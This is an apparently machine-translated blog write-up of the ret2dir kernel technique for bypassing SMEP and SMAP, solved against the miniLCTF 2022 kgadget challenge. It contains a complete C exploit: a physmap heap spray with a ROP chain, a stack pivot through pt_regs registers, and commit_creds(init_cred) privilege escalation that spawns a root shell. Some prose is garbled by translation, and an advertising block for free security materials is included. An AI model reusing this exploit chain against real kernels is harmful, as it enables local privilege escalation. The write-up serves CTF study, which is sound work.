Kernel-pwn's ret2dir utilization skills

foreword

ret2diris a paper published in USENIX in 2014 that proposes a bypass for ret2usrthe proposed SMEP, SMAPetc. protection. Full name return-to-direct-mapped memory, returns direct-mapped memory. Paper address: https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-kemerlis.pdf

ret2dir

When the protection used to isolate the user and the kernel space appears, the commonly used methods in the kernel are as shown in the figure below (the picture is from the paper) SMEP. The first is to find a loophole in the kernel that can control the pointer, and modify the pointer to point to user space, so that malicious data or code is placed in the user space to complete the exploitation of the loophole. However, with the emergence of protection, in the kernel state, it is impossible to execute or access the code or data of the user space, resulting in the failure of this exploitation method, because even if it is deployed in the user space, it cannot be accessed in the kernel state . So this way of sharing by displaying data is no longer applicable.SMAPret2usrSMEPSMAPpayload

image-20230706112136937

So the author puts forward an idea, whether the data in user space can also be accessed in kernel space. The author finally found a region that can implicitly access user space data. This part of the area exists in the kernel direct mapping of all physical memory, and the physical address is directly mapped to the area.

image-20230706114017524

This mapping area is actually a linear mapping between the kernel space and the physical address space, and we can directly access the content corresponding to the physical address in this area.

untitled file

Then the author proposes an attack scenario. Since the content in the virtual address will eventually be mapped to the physical address, if the data in the user space can also be mapped to this area, wouldn’t it be accessible in the kernel space? data in user space. The segment area is also called phsymap, it is a large, contiguous virtual memory area, which contains some or all of the direct mapping of physical memory. The author of the situation in the figure below also calls it a virtual address alias, because there is an address that can be accessed in both user space and kernel space payload.

untitled file(1)

The final attack scenario conceived by the author is shown in the figure below (the picture is from the paper). Differently ret2usr, the pointer is no longer modified to point to the user space, but to the direct mapping area of ​​the physical address. Since the mapping area points to the physical address, and in The user space structure payloadwill also be mapped to the physical address, so if payloadthe physical address corresponding to the existing user space can be obtained phsymap, the user space can be directly executed payload.

image-20230706120102411

To obtain the mapped address, there are the following methods

  • (1) /proc/pid/pagemapObtained by reading, the file stores the mapping relationship between physical addresses and virtual addresses, but this file requires rootpermission to read.

    image-20230707154728342

  • (2) Improve the hit rate by covering a large amount phsymapof memory. Use heap spraying technology to fill a large amount of memory in this memory area payloadso that it will not affect payloadthe execution and increase payloadthe probability of hit. The filling effect is as shown in the figure below

untitled file(3)

In the old version of the kernel, phsymapit has executable permission, so it can be filled in user space shellcode, but today's kernel version phsymapdoes not have executable permission, so it can only be filled in the ROPchain

To help you study cybersecurity, you can receive a full set of information for free:
① Mind map of cybersecurity learning and growth path
② 60+ classic cybersecurity toolkits
③ 100+ SRC analysis reports
④ 150+ e-books on cybersecurity attack and defense techniques
⑤ The most authoritative CISSP Certification Exam Guide + Question Bank
⑥ More than 1800 pages of CTF Practical Skills Manual
⑦ Collection of the latest interview questions from network security companies (including answers)
⑧ APP Client Security Testing Guide (Android+IOS)

miniLCTF_2022-kgadget

Topic address: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/miniLCTF_2022

kgadget_ioctl

In kgadget_ioctl, when the opcode we input 0x1BF52is , rdxthe value in the register will be dereferenced, and the address will be called as a function, which leads to arbitrary address execution.

image-20230707163020808

run.sh

The protection provided by the title is run.shenabled , but the address randomization is not enabled . Therefore, although we can control the kernel to execute any address, but because the topic is enabled , the address value cannot be selected as the address of the user space.smepsmapKASLRsmepsmap

#!/bin/sh
qemu-system-x86_64 \
	-m 256M \
	-cpu kvm64,+smep,+smap \
	-smp cores=2,threads=2 \
	-kernel bzImage \
	-initrd ./rootfs.cpio.gz \
	-nographic \
	-monitor /dev/null \
	-snapshot \
	-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
	-no-reboot \
	-s

ret2dir utilization process

First of all, how to execute the address value we specified. You can see that the address we passed in is actually dereferenced and stored in the register. As a result, the rbxvalue at rbxthe top of the stack is modified by moving the value of the register to the top of the stack, and then call retinstruction that causes the dereferenced value to be executed.

image-20230707165636315

To elevate the kernel's privileges, it needs to be executed commit(prepare_kernel_cred(0), followed by a combination of swapgsinstructions ret. Therefore, it is necessary to find a section of memory and fill it with the chain of the process ROP. This is because kgadget_ioctlinstead of executing the address we passed in, we need to dereference the address before executing it, which is equivalent to executing the content corresponding to the incoming address. So if we commitpass in the address of the function directly, it will execute commitwhat the function points to.

So where should this area be selected? If we directly construct this section in user space payload, then it is not feasible to ioctlpass the user space address smapto the smepAllowed.

Therefore, the skills that need to be used ret2dir, because the virtual address of the user space will also be mapped to the physical address, and there is a section of memory in the kernel space, which phsymapstores the content of the physical address, so the content we fill in the user space can be in phsymapfind. But this section of memory is very large, with a size of 64TB. How can we ensure that payloadthe address where we are stored is found? The answer is to fill as much as possible, so that our user space is payloadas large as possible, then the probability of our search will also increase.

image-20230706114017524

We 4096allocate memory in units of pages ( ), and cycle through 0x4000times,

void copy_dir()
{
    
    
	char *payload;
	payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	for (int i = 0; i < 4096; i++)
		payload[i] = 'z';
}
...
int main()
{
    
    
    ...
    for(int i = 0; i < 0x4000; i++)
		copy_dir();
}

It can be found that the value written in user space zcan also be accessed in kernel space. Of course, the number of write times and the number of bytes can be adjusted manually. You can try frequently and fill as much as possible, so that we have a greater chance of finding it.

image-20230707171617202

Of course, sometimes the page size page is not necessarily 4096, so you can use to getconf PAGESIZEget the page size

image-20230707171839966

Therefore, we have found the kernel address value that can access the user space payload, and then we need to migrate the space of the kernel stack to it phsymap, because the original kernel stack cannot make consecutive gadgetcalls. This is modified as a test gadgetto test what happens without stack migration.

	unsigned long *payload;
	payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	payload[0] = 0xffffffff8108c6f0; //pop_rdi;ret;
	payload[1] = 0xffffffff8108c6f0; //pop_rdi;ret;

It can be seen that it is executed once pop rdi; ret, because retthe instruction will pop the value at the top of the current stack from the stack, and the value we input is no longer on the stack, but on the phsymaptop. Therefore, when the chain we input ROPis no longer on the stack, we need to use stack migration.

image-20230707173324894

Since there are rspregisters that need to be changed in the kernel gadget, as long as they are used add rsp, xxx; ret, the stack migration can be completed. phsymapTherefore, the address that needs to be filled on the stack add rsp, xxxcan be rsppointed to after passing phsymap. In order to make phsymapthe address that can be stored on the stack, a structure is needed here pt_regs.

struct pt_regs {
    
    
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

It can be seen that this structure stores a series of registers. This is because the switch from user mode to kernel mode will be completed when the system call is made, so the context registers in user mode need to be saved, and the values ​​of these registers need to be saved in pt_regs. Use the following code to test pt_regsthe location where the above structure is stored.

	target =  0xffff888000000000 + 0x6000000;
	__asm(
		".intel_syntax noprefix;"
		"mov r15, 0x15151515;"
		"mov r14, 0x14141414;"
		"mov r13, 0x13131313;"
		"mov r12, 0x12121212;"
		"mov r11, 0x11111111;"
		"mov r10, 0x10101010;"
		"mov r9,  0x99999999;"
		"mov r8,  0x88888888;"
		"mov rax, 0x10;"
		"mov rcx, 0xcccccccc;"
		"mov rdx, target;"
		"mov rsi, 0x1BF52;"
		"mov rdi, fd;"
		"syscall;"
		".att_syntax;"
	);

It can be seen that the parameters before we execute the system call will pt_regsbe stored in the order in the structure. Here we need to pay attention to the value that r11the register is used to store .rflags

image-20230708013246949

However, the author of the question will pt_regsmodify the value of some registers in the structure.

image-20230708013612568

In the end only the r8AND r9registers are controllable. But just using the values ​​of two registers is enough to complete the stack migration operation.

image-20230708013703427

Here you can calculate r9the distance from the top of the stack to the register 0xffffc9000021ff98 - 0xffffc9000021fed0 = 0xc8, so the found add rsp 0xc0register is enough, because retthe instruction will perform a stack pop operation. At the beginning, it is used extract-image.shto extract, but it will report an error. So instead vmlinux-to-elf, the symbols extracted by this tool are relatively complete. The address of the tool is https://github.com/marin-m/vmlinux-to-elf

image-20230708014733241

Extract it and get it happily gadget. Since I couldn't find add 0xc8it gadget, I found a replacement. Combined with pop rsp; retthe instruction to complete the stack migration operation.

add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
pop rsp; ret;

Then you need to consider filling a large amount of memory with heap spraying, because the title does not enable address randomization, so even if you don’t use heap spraying, you can locate a specific address, but the actual situation is that the address can be random, so you need to ensure that it falls into other addresses It can also be used. Since the first instruction must be add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;, because stack migration is required. Therefore, in a page of memory, as many instructions as possible are used for filling to ensure the normal execution of stack migration.

payloadDue to the size required to complete the privilege escalation 0x58, the instruction will be rspraised 0xc0, so it is used (4096 - 0x58 - 0xc0) / 8 = 0x1dd, so here the instruction is copied in a loop 0x1dd, and then the remaining space is retfilled with instructions (commonly used heap spray instructions) (used here xor esi , esi; ret, because the exception or operation is not affected.)

for (int i = 0; i < 0x1dd; i++)
	payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
for (int i = 0; i < 24; i++)
	payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;

Finally, when the privilege is raised, it is not found to gadgetmove the prepare_kernel_credreturn value, that is, the value of the register, to the register. Therefore, I learned from the author of the question and found that the author of the question used the structure as a parameter of the function.raxrdiwpinit_credcommit_creds

init_credis a structure in the Linux kernel used to represent the initial credentials of a process. It contains security attributes and permission information related to the process. , init_credthe structure is usually used to represent the initial root credentials. Therefore, the initialization of the certificate can be completed only with the help pop rdi;retof one gadgetplus init_credthe address of the structure .root

exp

The final complete expis as follows

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>

#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
#define RED "\033[1;31;40m" //40表示背景色为黑色, 1 表示高亮
#define BLUE "\033[1;34;40m"
#define GREEN "\033[1;32;40m"
#define YELLOW "\033[1;33;40m"

/*

0xffffffff81488561: add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
0xffffffff810c92e0: T commit_creds
0xffffffff810c9540: T prepare_kernel_cred
0xffffffff81224afc: xor esi, esi; ret;
0xffffffff8108c6f0: pop rdi; ret;
0xffffffff82a6b700 D init_cred;
0xffffffff81c00fb0 T swapgs_restore_regs_and_return_to_usermode
0xffffffff811483d0: pop rsp; ret;
*/
int fd;
unsigned long user_ss, user_cs, user_sp, user_rflags;	
unsigned long target;
unsigned long target1;

void save_state();
void copy_dir();
void back_door();

void back_door()
{
    
    
	printf(RED"getshell");
	system("/bin/sh");
}

void copy_dir()
{
    
    

	unsigned long *payload;
	unsigned int index = 0;
	payload = mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);																																																																																			
	for (int i = 0; i < 0x1dd; i++)
		payload[index++] = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret; 
	for (int i = 0; i < 24; i++)
		payload[index++] = 0xffffffff81224afc; //xor esi, esi; ret;
	payload[index++] = 0xffffffff8108c6f0; // pop rdi ret
	payload[index++] = 0xffffffff82a6b700; //init_cred
	payload[index++] = 0xffffffff810c92e0; //commit_creds
	payload[index++] = 0xffffffff81c00fb0 + 0x1b; //swapgs_restore_regs_and_return_to_usermode
	payload[index++] = 0;
	payload[index++] = 0;
	payload[index++] = (unsigned long)back_door;
	payload[index++] = user_cs;
	payload[index++] = user_rflags;
	payload[index++] = user_sp;
	payload[index++] = user_ss;
	
}

void save_state()
{
    
    
	__asm(
		".intel_syntax noprefix;"
		"mov user_ss, ss;"
		"mov user_cs, cs;"
		"mov user_sp, rsp;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	printf(RED"[*]save state\n");
	printf(BLUE"[+]user_ss:0x%lx\n", user_ss);
	printf(BLUE"[+]user_cs:0x%lx\n", user_cs);
	printf(BLUE"[+]user_cs:0x%lx\n", user_sp);
	printf(BLUE"[+]user_rflags:0x%lx\n", user_rflags);
	printf(RED"[*]save finish\n");
}

int main()
{
    
    
	save_state();	
	fd = open("/dev/kgadget", O_RDWR);
	/*
	for(int i = 0; i < 0x4000; i++)
		copy_dir();
	*/
	
	target =  0xffff888000000000 + 0x6000000;
	__asm(
		".intel_syntax noprefix;"
		"mov r15, 0x15151515;"
		"mov r14, 0x14141414;"
		"mov r13, 0x13131313;"
		"mov r12, 0x12121212;"
		"mov r11, 0x11111111;"
		"mov r10, 0x10101010;"
		"mov r9,  0xffffffff811483d0;"
		"mov r8,  target;"
		"mov rax, 0x10;"
		"mov rcx, 0xcccccccc;"
		"mov rdx, target;"
		"mov rsi, 0x1BF52;"
		"mov rdi, fd;"
		"syscall;"
		".att_syntax;"
	);
		
}

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/131918008